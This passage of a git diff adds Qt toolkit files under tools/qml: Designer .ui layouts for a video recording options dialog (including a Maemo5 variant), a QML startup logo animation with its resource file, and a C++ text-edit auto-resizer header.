+ <widget class="QLineEdit" name="args"/>
+ </item>
+ <item row="1" column="2">
+ <widget class="QToolButton" name="ffmpegHelp">
+ <property name="text">
+ <string>Help</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="warning">
+ <property name="text">
+ <string/>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QDialogButtonBox" name="buttonBox">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="standardButtons">
+ <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <tabstops>
+ <tabstop>file</tabstop>
+ <tabstop>pickfile</tabstop>
+ <tabstop>sizeOriginal</tabstop>
+ <tabstop>sizeVGA</tabstop>
+ <tabstop>size720p</tabstop>
+ <tabstop>sizeQVGA</tabstop>
+ <tabstop>sizeCustom</tabstop>
+ <tabstop>sizeWidth</tabstop>
+ <tabstop>sizeHeight</tabstop>
+ <tabstop>hz60</tabstop>
+ <tabstop>hz25</tabstop>
+ <tabstop>hz50</tabstop>
+ <tabstop>hz24</tabstop>
+ <tabstop>hzCustom</tabstop>
+ <tabstop>hz</tabstop>
+ <tabstop>profile</tabstop>
+ <tabstop>args</tabstop>
+ <tabstop>ffmpegHelp</tabstop>
+ <tabstop>buttonBox</tabstop>
+ </tabstops>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>hzCustom</sender>
+ <signal>clicked()</signal>
+ <receiver>hz</receiver>
+ <slot>setFocus()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>43</x>
+ <y>257</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>129</x>
+ <y>262</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>hz</sender>
+ <signal>textChanged(QString)</signal>
+ <receiver>hzCustom</receiver>
+ <slot>toggle()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>143</x>
+ <y>262</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>43</x>
+ <y>257</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>hz</sender>
+ <signal>selectionChanged()</signal>
+ <receiver>hzCustom</receiver>
+ <slot>toggle()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>143</x>
+ <y>262</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>43</x>
+ <y>257</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>accepted()</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>accept()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>258</x>
+ <y>424</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>60</x>
+ <y>219</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>rejected()</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>reject()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>258</x>
+ <y>424</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>92</x>
+ <y>219</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>profile</sender>
+ <signal>activated(int)</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>pickProfile(int)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>92</x>
+ <y>329</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>48</x>
+ <y>194</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>args</sender>
+ <signal>textEdited(QString)</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>storeCustomArgs(QString)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>128</x>
+ <y>357</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>102</x>
+ <y>189</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>sizeWidth</sender>
+ <signal>valueChanged(int)</signal>
+ <receiver>sizeCustom</receiver>
+ <slot>toggle()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>108</x>
+ <y>133</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>48</x>
+ <y>133</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>sizeHeight</sender>
+ <signal>valueChanged(int)</signal>
+ <receiver>sizeCustom</receiver>
+ <slot>toggle()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>212</x>
+ <y>133</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>64</x>
+ <y>129</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+ <slots>
+ <signal>filePicked(QString)</signal>
+ <signal>argumentsPicked(QString)</signal>
+ <slot>pickFile()</slot>
+ <slot>pickProfile(int)</slot>
+ <slot>storeCustomArgs(QString)</slot>
+ </slots>
+</ui>
diff --git a/tools/qml/recopts_maemo5.ui b/tools/qml/recopts_maemo5.ui
new file mode 100644
index 00000000..3bb5ecab
--- /dev/null
+++ b/tools/qml/recopts_maemo5.ui
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>RecordingOptions</class>
+ <widget class="QDialog" name="RecordingOptions">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>469</width>
+ <height>142</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>Video options</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout" columnstretch="0,2,0">
+ <property name="sizeConstraint">
+ <enum>QLayout::SetMinAndMaxSize</enum>
+ </property>
+ <property name="leftMargin">
+ <number>16</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>16</number>
+ </property>
+ <property name="bottomMargin">
+ <number>8</number>
+ </property>
+ <property name="horizontalSpacing">
+ <number>16</number>
+ </property>
+ <property name="verticalSpacing">
+ <number>0</number>
+ </property>
+ <item row="0" column="1">
+ <widget class="QLineEdit" name="file"/>
+ </item>
+ <item row="0" column="2" rowspan="3">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>72</width>
+ <height>56</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_4">
+ <property name="text">
+ <string>Size</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QComboBox" name="sizeCombo">
+ <item>
+ <property name="text">
+ <string/>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>VGA</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>QVGA</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>720p</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="2" column="0" rowspan="2">
+ <widget class="QLabel" name="rateLabel">
+ <property name="text">
+ <string>Rate</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1" rowspan="2">
+ <widget class="QComboBox" name="rateCombo">
+ <item>
+ <property name="text">
+ <string>60 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>50 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>25 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>24 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>20 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>15 Hz</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string>10 Hz</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="5" column="1">
+ <widget class="QLineEdit" name="args"/>
+ </item>
+ <item row="4" column="1">
+ <widget class="QComboBox" name="profile"/>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="profileLabel">
+ <property name="text">
+ <string>Profile</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="0" colspan="2">
+ <widget class="QLabel" name="warning">
+ <property name="text">
+ <string notr="true">warning</string>
+ </property>
+ <property name="wordWrap">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="2" rowspan="3">
+ <widget class="QDialogButtonBox" name="buttonBox">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="standardButtons">
+ <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="0">
+ <widget class="QPushButton" name="pickfile">
+ <property name="text">
+ <string>File</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="0">
+ <widget class="QPushButton" name="ffmpegHelp">
+ <property name="text">
+ <string>Options</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>accepted()</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>accept()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>258</x>
+ <y>424</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>60</x>
+ <y>219</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>buttonBox</sender>
+ <signal>rejected()</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>reject()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>258</x>
+ <y>424</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>92</x>
+ <y>219</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>profile</sender>
+ <signal>activated(int)</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>pickProfile(int)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>92</x>
+ <y>329</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>48</x>
+ <y>194</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>args</sender>
+ <signal>textEdited(QString)</signal>
+ <receiver>RecordingOptions</receiver>
+ <slot>storeCustomArgs(QString)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>128</x>
+ <y>357</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>102</x>
+ <y>189</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+ <slots>
+ <signal>filePicked(QString)</signal>
+ <signal>argumentsPicked(QString)</signal>
+ <slot>pickFile()</slot>
+ <slot>pickProfile(int)</slot>
+ <slot>storeCustomArgs(QString)</slot>
+ </slots>
+</ui>
diff --git a/tools/qml/startup/Logo.qml b/tools/qml/startup/Logo.qml
new file mode 100644
index 00000000..9d088eef
--- /dev/null
+++ b/tools/qml/startup/Logo.qml
@@ -0,0 +1,179 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: myApp
+ width: 411
+ height: 411
+ color: "transparent"
+ property alias logoState : myApp.state
+ signal animationFinished
+
+ Item {
+ id: sketchBlueHolder
+ width: sketchLogo.width
+ height: sketchLogo.height
+ Image {
+ id: image1
+ x: -44
+ y: -45
+ smooth: true
+ source: "shadow.png"
+ }
+ Item {
+ clip: true
+ width: sketchLogo.width
+ height: sketchLogo.height
+ Image {
+ id: sketchLogo
+ smooth: true
+ source: "qt-sketch.jpg"
+ }
+ Image {
+ id: blueLogo
+ y: -420
+ smooth: true
+ source: "qt-blue.jpg"
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "showBlueprint"
+ PropertyChanges {
+ target: blueLogo
+ y: 0
+ }
+ PropertyChanges {
+ target: sketchLogo
+ opacity: 0
+ }
+ },
+ State {
+ extend: "showBlueprint"
+ name: "finale"
+ PropertyChanges {
+ target: fullLogo
+ opacity: 1
+ }
+ PropertyChanges {
+ target: backLogo
+ opacity: 1
+ scale: 1
+ }
+ PropertyChanges {
+ target: frontLogo
+ opacity: 1
+ scale: 1
+ }
+ PropertyChanges {
+ target: qtText
+ opacity: 1
+ scale: 1
+ }
+ PropertyChanges {
+ target: sketchBlueHolder
+ opacity: 0
+ scale: 1.4
+ }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ to: "showBlueprint"
+ SequentialAnimation {
+ NumberAnimation { property: "y"; duration: 600; easing.type: "OutBounce" }
+ PropertyAction { target: sketchLogo; property: "opacity" }
+ }
+ },
+ Transition {
+ to: "finale"
+ PropertyAction { target: fullLogo; property: "opacity" }
+ SequentialAnimation {
+ NumberAnimation { target: backLogo; properties: "scale, opacity"; duration: 300 }
+ NumberAnimation { target: frontLogo; properties: "scale, opacity"; duration: 300 }
+ ParallelAnimation {
+ NumberAnimation { target: qtText; properties: "opacity, scale"; duration: 400; easing.type: "OutQuad" }
+ NumberAnimation { target: sketchBlueHolder; property: "opacity"; duration: 300; easing.type: "OutQuad" }
+ NumberAnimation { target: sketchBlueHolder; property: "scale"; duration: 320; easing.type: "OutQuad" }
+ }
+ PauseAnimation { duration: 1000 }
+ ScriptAction { script: myApp.animationFinished() }
+ }
+ }
+ ]
+
+ Item {
+ id: fullLogo
+ opacity: 0
+ Image {
+ id: backLogo
+ x: -16
+ y: -41
+ opacity: 0
+ scale: 0.7
+ smooth: true
+ source: "qt-back.png"
+ }
+ Image {
+ id: frontLogo
+ x: -17
+ y: -41
+ opacity: 0
+ scale: 1.2
+ smooth: true
+ source: "qt-front.png"
+ }
+ Image {
+ id: qtText
+ x: -10
+ y: -41
+ opacity: 0
+ scale: 1.2
+ smooth: true
+ source: "qt-text.png"
+ }
+ }
+}
diff --git a/tools/qml/startup/qt-back.png b/tools/qml/startup/qt-back.png
new file mode 100644
index 00000000..077215f8
--- /dev/null
+++ b/tools/qml/startup/qt-back.png
Binary files differ
diff --git a/tools/qml/startup/qt-blue.jpg b/tools/qml/startup/qt-blue.jpg
new file mode 100644
index 00000000..b2048964
--- /dev/null
+++ b/tools/qml/startup/qt-blue.jpg
Binary files differ
diff --git a/tools/qml/startup/qt-front.png b/tools/qml/startup/qt-front.png
new file mode 100644
index 00000000..dbfb43e3
--- /dev/null
+++ b/tools/qml/startup/qt-front.png
Binary files differ
diff --git a/tools/qml/startup/qt-sketch.jpg b/tools/qml/startup/qt-sketch.jpg
new file mode 100644
index 00000000..1ede6f07
--- /dev/null
+++ b/tools/qml/startup/qt-sketch.jpg
Binary files differ
diff --git a/tools/qml/startup/qt-text.png b/tools/qml/startup/qt-text.png
new file mode 100644
index 00000000..d44995c9
--- /dev/null
+++ b/tools/qml/startup/qt-text.png
Binary files differ
diff --git a/tools/qml/startup/quick-blur.png b/tools/qml/startup/quick-blur.png
new file mode 100644
index 00000000..29ec2433
--- /dev/null
+++ b/tools/qml/startup/quick-blur.png
Binary files differ
diff --git a/tools/qml/startup/quick-regular.png b/tools/qml/startup/quick-regular.png
new file mode 100644
index 00000000..38321cbf
--- /dev/null
+++ b/tools/qml/startup/quick-regular.png
Binary files differ
diff --git a/tools/qml/startup/shadow.png b/tools/qml/startup/shadow.png
new file mode 100644
index 00000000..44f92fee
--- /dev/null
+++ b/tools/qml/startup/shadow.png
Binary files differ
diff --git a/tools/qml/startup/startup.qml b/tools/qml/startup/startup.qml
new file mode 100644
index 00000000..d91a8f69
--- /dev/null
+++ b/tools/qml/startup/startup.qml
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: treatsApp
+ width: 800
+ height: 480
+ color: "darkgrey"
+ Component.onCompleted: treatsApp.state = "part1"
+ signal animationFinished
+
+ Item {
+ width: 800
+ height: 480
+ anchors.centerIn: parent
+ clip: true
+
+ Logo {
+ id: logo
+ x: 165
+ y: 35
+ rotation: -15
+ scale: 0.6
+ opacity: 0
+ onAnimationFinished: treatsApp.animationFinished();
+ }
+
+ Item {
+ id: quickblur
+ x: 800//325
+ y: 344
+ Image {
+ id: blurText
+ source: "quick-blur.png"
+ }
+ Image {
+ id: quickregular
+ x: -1
+ y: 0
+ opacity: 0
+ source: "quick-regular.png"
+ }
+ Image {
+ id: star
+ x: -1
+ y: 0
+ opacity: 0
+ source: "white-star.png"
+ smooth: true
+ NumberAnimation on rotation {
+ from: 0
+ to: 360
+ loops: 3
+ running: true
+ duration: 2000
+ }
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "part1"
+ PropertyChanges {
+ target: logo
+ scale: 0.8
+ opacity: 1
+ rotation: 0
+ }
+ PropertyChanges {
+ target: treatsApp
+ color: "black"
+ }
+ PropertyChanges {
+ target: logo
+ y: 10
+ }
+ PropertyChanges {
+ target: quickblur
+ x: logo.x + 145
+ }
+ PropertyChanges {
+ target: blurText
+ opacity: 0
+ }
+ PropertyChanges {
+ target: quickregular
+ opacity: 1
+ }
+ PropertyChanges {
+ target: star
+ x: -7
+ y: -37
+ }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ ParallelAnimation {
+ NumberAnimation { target: logo; property: "opacity"; duration: 500 }
+ NumberAnimation { target: logo; property: "scale"; duration: 4000; }
+ NumberAnimation { target: logo; property: "rotation"; duration: 2000; easing.type: "OutBack"}
+ ColorAnimation { duration: 3000}
+ SequentialAnimation {
+ PauseAnimation { duration: 1000 }
+ ScriptAction { script: logo.logoState = "showBlueprint" }
+ PauseAnimation { duration: 800 }
+ ScriptAction { script: logo.logoState = "finale" }
+ PauseAnimation { duration: 800 }
+ ParallelAnimation {
+ NumberAnimation { target: quickblur; property: "x"; duration: 200;}
+ SequentialAnimation {
+ PauseAnimation { duration: 200}
+ ParallelAnimation {
+ NumberAnimation { target: blurText; property: "opacity"; duration: 300;}
+ NumberAnimation { target: quickregular; property: "opacity"; duration: 300;}
+ }
+ NumberAnimation { target: star; property: "opacity"; from: 0; to: 1; duration: 500 }
+ PauseAnimation { duration: 200 }
+ NumberAnimation { target: star; property: "opacity"; from: 1; to: 0; duration: 500 }
+ }
+ SequentialAnimation {
+ PauseAnimation { duration: 150}
+ NumberAnimation { target: logo; property: "y"; duration: 300; easing.type: "OutBounce" }
+ }
+ }
+ }
+ }
+ }
+ ]
+
+} // treatsApp
diff --git a/tools/qml/startup/startup.qrc b/tools/qml/startup/startup.qrc
new file mode 100644
index 00000000..52e67050
--- /dev/null
+++ b/tools/qml/startup/startup.qrc
@@ -0,0 +1,16 @@
+<RCC>
+ <qresource prefix="/startup">
+ <file>Logo.qml</file>
+ <file>qt-back.png</file>
+ <file>qt-blue.jpg</file>
+ <file>qt-front.png</file>
+ <file>qt-sketch.jpg</file>
+ <file>qt-text.png</file>
+ <file>quick-blur.png</file>
+ <file>quick-regular.png</file>
+ <file>shadow.png</file>
+ <file>startup.qml</file>
+ <file>startup.qrc</file>
+ <file>white-star.png</file>
+ </qresource>
+</RCC>
diff --git a/tools/qml/startup/white-star.png b/tools/qml/startup/white-star.png
new file mode 100644
index 00000000..f467c948
--- /dev/null
+++ b/tools/qml/startup/white-star.png
Binary files differ
diff --git a/tools/qml/texteditautoresizer_maemo5.h b/tools/qml/texteditautoresizer_maemo5.h
new file mode 100644
index 00000000..90a61f48
--- /dev/null
+++ b/tools/qml/texteditautoresizer_maemo5.h
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/qplaintextedit.h>
+#include <QtGui/qtextedit.h>
+#include <QtGui/qabstractkineticscroller.h>
+#include <QtGui/qscrollarea.h>
+#include <QtDebug>
+
+#ifndef TEXTEDITAUTORESIZER_H
+#define TEXTEDITAUTORESIZER_H
+
+class TextEditAutoResizer : public QObject
+{
+ Q_OBJECT
+public:
+ TextEditAutoResizer(QWidget *parent)
+ : QObject(parent), plainTextEdit(qobject_cast<QPlainTextEdit *>(parent)),
+ textEdit(qobject_cast<QTextEdit *>(parent)), edit(qobject_cast<QFrame *>(parent))
+ {
+ // parent must either inherit QPlainTextEdit or QTextEdit!
+ Q_ASSERT(plainTextEdit || textEdit);
+
+ connect(parent, SIGNAL(textChanged()), this, SLOT(textEditChanged()));
+ connect(parent, SIGNAL(cursorPositionChanged()), this, SLOT(textEditChanged()));
+
+ textEditChanged();
+ }
+
+private Q_SLOTS:
+ inline void textEditChanged();
+
+private:
+ QPlainTextEdit *plainTextEdit;
+ QTextEdit *textEdit;
+ QFrame *edit;
+};
+
+void TextEditAutoResizer::textEditChanged()
+{
+ QTextDocument *doc = textEdit ? textEdit->document() : plainTextEdit->document();
+ QRect cursor = textEdit ? textEdit->cursorRect() : plainTextEdit->cursorRect();
+
+ QSize s = doc->size().toSize();
+ if (plainTextEdit)
+ s.setHeight((s.height() + 2) * edit->fontMetrics().lineSpacing());
+
+ const QRect fr = edit->frameRect();
+ const QRect cr = edit->contentsRect();
+
+ edit->setMinimumHeight(qMax(70, s.height() + (fr.height() - cr.height() - 1)));
+
+ // make sure the cursor is visible in case we have a QAbstractScrollArea parent
+ QPoint pos = edit->pos();
+ QWidget *pw = edit->parentWidget();
+ while (pw) {
+ if (qobject_cast<QScrollArea *>(pw))
+ break;
+ pw = pw->parentWidget();
+ }
+
+ if (pw) {
+ QScrollArea *area = static_cast<QScrollArea *>(pw);
+ QPoint scrollto = area->widget()->mapFrom(edit, cursor.center());
+ QPoint margin(10 + cursor.width(), 2 * cursor.height());
+
+ if (QAbstractKineticScroller *scroller = area->property("kineticScroller").value<QAbstractKineticScroller *>()) {
+ scroller->ensureVisible(scrollto, margin.x(), margin.y());
+ } else {
+ area->ensureVisible(scrollto.x(), scrollto.y(), margin.x(), margin.y());
+ }
+ }
+}
+
+#endif